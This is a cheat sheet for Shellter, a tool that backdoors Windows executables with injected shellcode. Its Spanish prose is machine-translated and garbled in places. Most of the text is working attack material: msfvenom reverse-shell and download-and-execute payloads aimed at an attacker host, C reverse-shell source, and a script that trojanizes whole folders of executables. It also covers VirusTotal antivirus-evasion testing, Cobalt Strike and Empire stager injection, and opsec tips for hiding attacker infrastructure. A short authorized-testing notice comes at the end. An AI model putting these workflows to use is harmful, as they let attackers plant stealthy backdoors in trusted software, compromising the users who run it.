Shellter Cheat Sheet
"Clase de la hoja" id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada
Sinopsis
Shellter es una herramienta de inyección de código de shell dinámico diseñada para inyectar código de shell en aplicaciones nativas de Windows a través de técnicas de backdooring PE (Portable Executable). Desarrollado por Kyriakos Economou, Shellter representa un avance significativo en la tecnología de evasión antivirus utilizando análisis dinámicos y métodos de inyección inteligentes que hacen que la detección sea extremadamente difícil para las soluciones de seguridad tradicionales. A diferencia de las herramientas de inyección estáticas, Shellter realiza análisis de tiempo de ejecución de las aplicaciones de destino para identificar puntos de inyección óptimos y flujos de ejecución.
La innovación básica de Shellter radica en su enfoque dinámico de la modificación de PE. En lugar de simplemente aprovisionar el código de shell para ejecutar o usar patrones de inyección predecibles, Shellter analiza el flujo de ejecución de la aplicación objetivo durante el tiempo de ejecución para identificar lugares adecuados para la inyección de código de shell. Este análisis dinámico asegura que el código inyectado se integre perfectamente con la funcionalidad de la aplicación original manteniendo al mismo tiempo el robo y evitando las firmas comunes de detección utilizadas por los motores antivirus.
Shellter admite modos de inyección automáticos y manuales, proporcionando flexibilidad para diferentes casos de uso y niveles de habilidad. El modo automático maneja todo el proceso de inyección de forma inteligente, mientras que el modo manual permite a los usuarios experimentados ajustar los parámetros de inyección para escenarios específicos. La capacidad de la herramienta para mantener la funcionalidad original de la aplicación a la vez que la adición de capacidades maliciosas hace que sea particularmente valioso para crear aplicaciones troyanas convincentes que pueden evitar los controles de seguridad y establecer un acceso persistente a los sistemas de destino.
Instalación
Instalación de Windows
Instalación de Shellter en sistemas Windows:
# Download Shellter from official source
# Visit: https://www.shellterproject.com/download/
# Extract Shellter archive
unzip shellter.zip -d C:\Tools\Shellter
# Navigate to Shellter directory
cd C:\Tools\Shellter
# Verify installation
shellter.exe --help
# Install Visual C++ Redistributables (if needed)
# Download from Microsoft official site
Instalación de Linux (Wine)
Utilizando Wine:
# Install Wine
sudo apt update
sudo apt install wine winetricks
# Configure Wine
winecfg
# Install Visual C++ Redistributables
winetricks vcrun2019
# Download and extract Shellter
wget https://www.shellterproject.com/shellter/latest/shellter.zip
unzip shellter.zip -d ~/shellter
# Run Shellter through Wine
cd ~/shellter
wine shellter.exe
Docker Environment
# Create Dockerfile for Shellter
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y wine
COPY shellter/ /opt/shellter/
WORKDIR /opt/shellter
CMD ["wine", "shellter.exe"]
EOF
# Build container
docker build -t shellter .
# Run Shellter in container
docker run -it -v $(pwd):/workspace shellter
Uso básico
Modo automático
Usando Shellter en modo automático:
# Start Shellter in automatic mode
shellter.exe
# Select operation mode
A # Automatic mode
# Choose PE target
C:\path\to\target.exe
# Enable stealth mode
Y # Yes to stealth mode
# Select payload type
L # Listed payloads
1 # Meterpreter_Reverse_TCP
# Configure payload parameters
LHOST: 192.168.1.100
LPORT: 4444
# Verify injection
# Shellter will automatically inject and save backdoored executable
Modo manual
Utilizando Shellter en modo manual para el control avanzado:
# Start Shellter in manual mode
shellter.exe
# Select operation mode
M # Manual mode
# Choose PE target
C:\path\to\target.exe
# Analyze target application
# Shellter will perform dynamic analysis
# Select injection method
1 # IAT Hooking
2 # Inline Hooking
3 # Thread Hijacking
# Choose injection point
# Select from available locations
# Provide custom shellcode
C:\path\to\custom_shellcode.bin
# Configure injection parameters
# Set specific options based on analysis
Modo de Stealth
Habilitar funciones avanzadas de robo:
# Enable stealth mode during injection
Y # Enable stealth mode
# Polymorphic engine options
Y # Enable polymorphic engine
# Anti-emulation techniques
Y # Enable anti-emulation
# Junk code insertion
Y # Insert junk code
# Control flow obfuscation
Y # Enable CFO
Características avanzadas
Inyección de código de barras personalizado
Injecting custom shellcode payloads:
# Generate custom shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > custom_payload.bin
# Use custom shellcode in Shellter
shellter.exe
M # Manual mode
C:\target\application.exe
C # Custom shellcode
C:\path\to\custom_payload.bin
# Configure injection parameters
# Select optimal injection point
# Apply stealth techniques
Carga de pago multietapa
Ejecución de la entrega multietapa de la carga útil:
# Create stage 1 payload (small downloader)
msfvenom -p windows/download_exec URL=http://192.168.1.100/stage2.exe -f raw > stage1.bin
# Inject stage 1 with Shellter
shellter.exe
A # Automatic mode
C:\target\application.exe
Y # Stealth mode
C # Custom payload
C:\path\to\stage1.bin
# Host stage 2 payload
python3 -m http.server 80
Inyección polimorfo
Usando técnicas polimorfológicas para la evasión:
# Enable polymorphic engine
shellter.exe
A # Automatic mode
C:\target\application.exe
Y # Stealth mode
Y # Polymorphic engine
# Configure polymorphic options
3 # High polymorphism level
Y # Enable junk code insertion
Y # Enable instruction substitution
Y # Enable dead code insertion
Características antianálisis
Aplicación de técnicas antianálisis:
# Enable anti-debugging
Y # Anti-debugging techniques
# Enable anti-VM detection
Y # Anti-virtualization
# Enable anti-emulation
Y # Anti-emulation techniques
# Enable sandbox evasion
Y # Sandbox evasion
# Configure timing delays
5000 # Milliseconds delay before execution
Generación de carga útil
Integración Metasploit
Generando cargas de pago para la inyección de Shellter:
# Generate reverse TCP payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > meterpreter.bin
# Generate reverse HTTPS payload
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw > meterpreter_https.bin
# Generate bind TCP payload
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f raw > meterpreter_bind.bin
# Generate encoded payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f raw > encoded_payload.bin
Desarrollo de las cargas de pago personalizadas
Creación de cargas de pago personalizadas para la inyección:
// Simple reverse shell payload
#include <winsock2.h>
#include <windows.h>
void reverse_shell() \\\\{
WSADATA wsaData;
SOCKET s;
struct sockaddr_in server;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(s, (struct sockaddr *)&server, sizeof(server));
// Duplicate handles for cmd.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
\\\\}
Codificación de la carga útil
Codificación de las cargas de pago para evasión:
# XOR encoding
python3 -c "
import sys
key = 0xAA
with open('payload.bin', 'rb') as f:
data = f.read()
encoded = bytes([b ^ key for b in data])
with open('encoded_payload.bin', 'wb') as f:
f.write(encoded)
"
# Base64 encoding
base64 -w 0 payload.bin > payload_b64.txt
# Custom encoding script
python3 encode_payload.py payload.bin encoded_payload.bin
Scripts de automatización
Procesamiento de lotes
#!/bin/bash
# Shellter batch processing script
TARGET_DIR="targets"
OUTPUT_DIR="backdoored"
PAYLOAD_FILE="payload.bin"
mkdir -p $OUTPUT_DIR
echo "Starting batch Shellter processing"
for exe_file in $TARGET_DIR/*.exe; do
filename=$(basename "$exe_file")
output_file="$OUTPUT_DIR/backdoored_$filename"
echo "Processing: $filename"
# Create Shellter automation script
cat > shellter_auto.txt << EOF
A
$exe_file
Y
C
$PAYLOAD_FILE
$output_file
EOF
# Run Shellter with automation
wine shellter.exe < shellter_auto.txt
echo "Completed: $filename"
done
echo "Batch processing completed"
Pruebas de carga
#!/usr/bin/env python3
# Shellter payload testing script
import subprocess
import os
import time
class ShellterTester:
def __init__(self, shellter_path, target_exe):
self.shellter_path = shellter_path
self.target_exe = target_exe
self.results = []
def test_payload(self, payload_file, output_file):
"""Test payload injection with Shellter"""
# Create automation script
automation_script = f"""A
\\\\{self.target_exe\\\\}
Y
C
\\\\{payload_file\\\\}
\\\\{output_file\\\\}
"""
try:
# Run Shellter
process = subprocess.Popen(
[self.shellter_path],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = process.communicate(automation_script)
# Check if injection was successful
if os.path.exists(output_file):
file_size = os.path.getsize(output_file)
self.results.append(\\\\{
'payload': payload_file,
'output': output_file,
'success': True,
'size': file_size
\\\\})
return True
else:
self.results.append(\\\\{
'payload': payload_file,
'output': output_file,
'success': False,
'error': stderr
\\\\})
return False
except Exception as e:
print(f"Error testing payload \\\\{payload_file\\\\}: \\\\{e\\\\}")
return False
def generate_report(self):
"""Generate test report"""
print("Shellter Testing Report")
print("=" * 50)
for result in self.results:
print(f"Payload: \\\\{result['payload']\\\\}")
print(f"Success: \\\\{result['success']\\\\}")
if result['success']:
print(f"Output Size: \\\\{result['size']\\\\} bytes")
else:
print(f"Error: \\\\{result.get('error', 'Unknown')\\\\}")
print("-" * 30)
# Usage
tester = ShellterTester("wine shellter.exe", "target.exe")
tester.test_payload("payload1.bin", "backdoored1.exe")
tester.test_payload("payload2.bin", "backdoored2.exe")
tester.generate_report()
AV Evasion Testing
#!/usr/bin/env python3
# Antivirus evasion testing for Shellter
import requests
import hashlib
import time
class AVEvasionTester:
def __init__(self, vt_api_key):
self.vt_api_key = vt_api_key
self.base_url = "https://www.virustotal.com/vtapi/v2"
def upload_file(self, file_path):
"""Upload file to VirusTotal"""
url = f"\\\\{self.base_url\\\\}/file/scan"
with open(file_path, 'rb') as f:
files = \\\\{'file': f\\\\}
params = \\\\{'apikey': self.vt_api_key\\\\}
response = requests.post(url, files=files, params=params)
if response.status_code == 200:
return response.json()['scan_id']
else:
return None
def get_report(self, scan_id):
"""Get scan report from VirusTotal"""
url = f"\\\\{self.base_url\\\\}/file/report"
params = \\\\{'apikey': self.vt_api_key, 'resource': scan_id\\\\}
response = requests.get(url, params=params)
if response.status_code == 200:
return response.json()
else:
return None
def test_evasion(self, file_path):
"""Test file against multiple AV engines"""
print(f"Testing evasion for: \\\\{file_path\\\\}")
# Upload file
scan_id = self.upload_file(file_path)
if not scan_id:
print("Failed to upload file")
return None
# Wait for scan completion
print("Waiting for scan completion...")
time.sleep(60)
# Get report
report = self.get_report(scan_id)
if report and report['response_code'] == 1:
positives = report['positives']
total = report['total']
print(f"Detection rate: \\\\{positives\\\\}/\\\\{total\\\\}")
print(f"Evasion rate: \\\\{((total - positives) / total) * 100:.2f\\\\}%")
return \\\\{
'file': file_path,
'positives': positives,
'total': total,
'evasion_rate': ((total - positives) / total) * 100
\\\\}
return None
# Usage
tester = AVEvasionTester("your_vt_api_key")
result = tester.test_evasion("backdoored_app.exe")
Ejemplos de integración
Integración Metasploit
# Metasploit module for Shellter automation
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = \\\\{\\\\})
super(update_info(info,
'Name' => 'Shellter Automatic Backdoor Generation',
'Description' => 'Automates Shellter for PE backdooring',
'Author' => ['Your Name'],
'License' => MSF_LICENSE
))
register_options([
OptString.new('TARGET_EXE', [true, 'Target executable path']),
OptString.new('LHOST', [true, 'Listener host']),
OptInt.new('LPORT', [true, 'Listener port', 4444])
])
end
def run
target_exe = datastore['TARGET_EXE']
lhost = datastore['LHOST']
lport = datastore['LPORT']
print_status("Generating payload...")
# Generate payload
payload_data = generate_payload_exe(\\\\{
'Format' => 'raw',
'Options' => \\\\{
'LHOST' => lhost,
'LPORT' => lport
\\\\}
\\\\})
# Save payload to file
payload_file = "/tmp/payload.bin"
File.write(payload_file, payload_data)
# Run Shellter
print_status("Running Shellter...")
automation_script = "A\n#\\\\{target_exe\\\\}\nY\nC\n#\\\\{payload_file\\\\}\n"
cmd = "echo '#\\\\{automation_script\\\\}'|wine shellter.exe"
system(cmd)
print_good("Backdoor generation completed")
end
end
Cobalt Strike Integration
#!/bin/bash
# Cobalt Strike and Shellter integration
CS_HOST="192.168.1.100"
CS_PORT="50050"
TARGET_EXE="legitimate_app.exe"
# Generate Cobalt Strike beacon
echo "Generating Cobalt Strike beacon..."
./cobaltstrike/beacon_generator.sh -h $CS_HOST -p $CS_PORT -o beacon.bin
# Use Shellter to inject beacon
echo "Injecting beacon with Shellter..."
cat > shellter_automation.txt << EOF
A
$TARGET_EXE
Y
C
beacon.bin
backdoored_app.exe
EOF
wine shellter.exe < shellter_automation.txt
echo "Backdoored application created: backdoored_app.exe"
Empire Integration
#!/usr/bin/env python3
# Empire and Shellter integration
import requests
import base64
class EmpireShellterIntegration:
def __init__(self, empire_url, empire_token):
self.empire_url = empire_url
self.headers = \\\\{'Authorization': f'Bearer \\\\{empire_token\\\\}'\\\\}
def generate_stager(self, listener_name):
"""Generate Empire stager"""
url = f"\\\\{self.empire_url\\\\}/api/stagers"
data = \\\\{
'StagerName': 'windows/launcher_bat',
'Listener': listener_name
\\\\}
response = requests.post(url, json=data, headers=self.headers)
if response.status_code == 200:
stager_data = response.json()
return base64.b64decode(stager_data['Output'])
return None
def create_shellter_payload(self, stager_data, target_exe):
"""Create Shellter payload with Empire stager"""
# Save stager to file
with open('empire_stager.bin', 'wb') as f:
f.write(stager_data)
# Create Shellter automation script
automation_script = f"""A
\\\\{target_exe\\\\}
Y
C
empire_stager.bin
empire_backdoored.exe
"""
# Execute Shellter
import subprocess
process = subprocess.Popen(
['wine', 'shellter.exe'],
stdin=subprocess.PIPE,
text=True
)
process.communicate(automation_script)
return 'empire_backdoored.exe'
# Usage
integration = EmpireShellterIntegration("http://empire-server:1337", "your_token")
stager = integration.generate_stager("http_listener")
backdoored_exe = integration.create_shellter_payload(stager, "target.exe")
Solución de problemas
Cuestiones comunes
- Compatibilidad humana Cuestiones:**
# Install required Wine components
winetricks vcrun2019 corefonts
# Configure Wine for Windows 10
winecfg
# Set Windows version to Windows 10
# Install additional dependencies
winetricks d3dx9 vcrun2017 dotnet48
# Check Wine logs
export WINEDEBUG=+all
wine shellter.exe
Fágiles de análisis de PE:
# Verify target executable
file target.exe
# Check PE structure
objdump -p target.exe
# Verify executable permissions
chmod +x target.exe
# Test with different target
# Some packed executables may not work
Facilidades de inyección:
# Check payload size
ls -la payload.bin
# Verify payload format
hexdump -C payload.bin|head
# Test with smaller payload
msfvenom -p windows/exec CMD=calc.exe -f raw > test_payload.bin
# Use manual mode for better control
# Select different injection points
Debugging
Permite depuración detallada:
# Enable Wine debugging
export WINEDEBUG=+dll,+module
wine shellter.exe
# Monitor file operations
strace -e trace=file wine shellter.exe
# Check system resources
top -p $(pgrep wine)
# Monitor network activity
netstat -an|grep wine
Consideraciones de seguridad
Seguridad operacional
**Manipulación del archivo: # - Use entornos de prueba aislados - Eliminación segura de archivos temporales - Encrypt payload storage - Registros de acceso de archivos monitor - Procedimientos ordinarios de limpieza
Seguridad de red: - Utilice VPN para la entrega de carga útil - Implementar el cifrado de tráfico - Monitor for detection - Use dominios de aspecto legítimo - Rotación periódica de la infraestructura
Consideraciones jurídicas y éticas
Authorized Testing Only: - Obtener la autorización escrita adecuada - Definir el alcance y las limitaciones claras - Documentar todas las actividades - Seguir la divulgación responsable - Respeto de la integridad del sistema
Las mejores prácticas: - Uso en entornos controlados - Evaluaciones periódicas de seguridad - Implementar medidas de detección - Monitor para uso no autorizado - Mantener las rutas de auditoría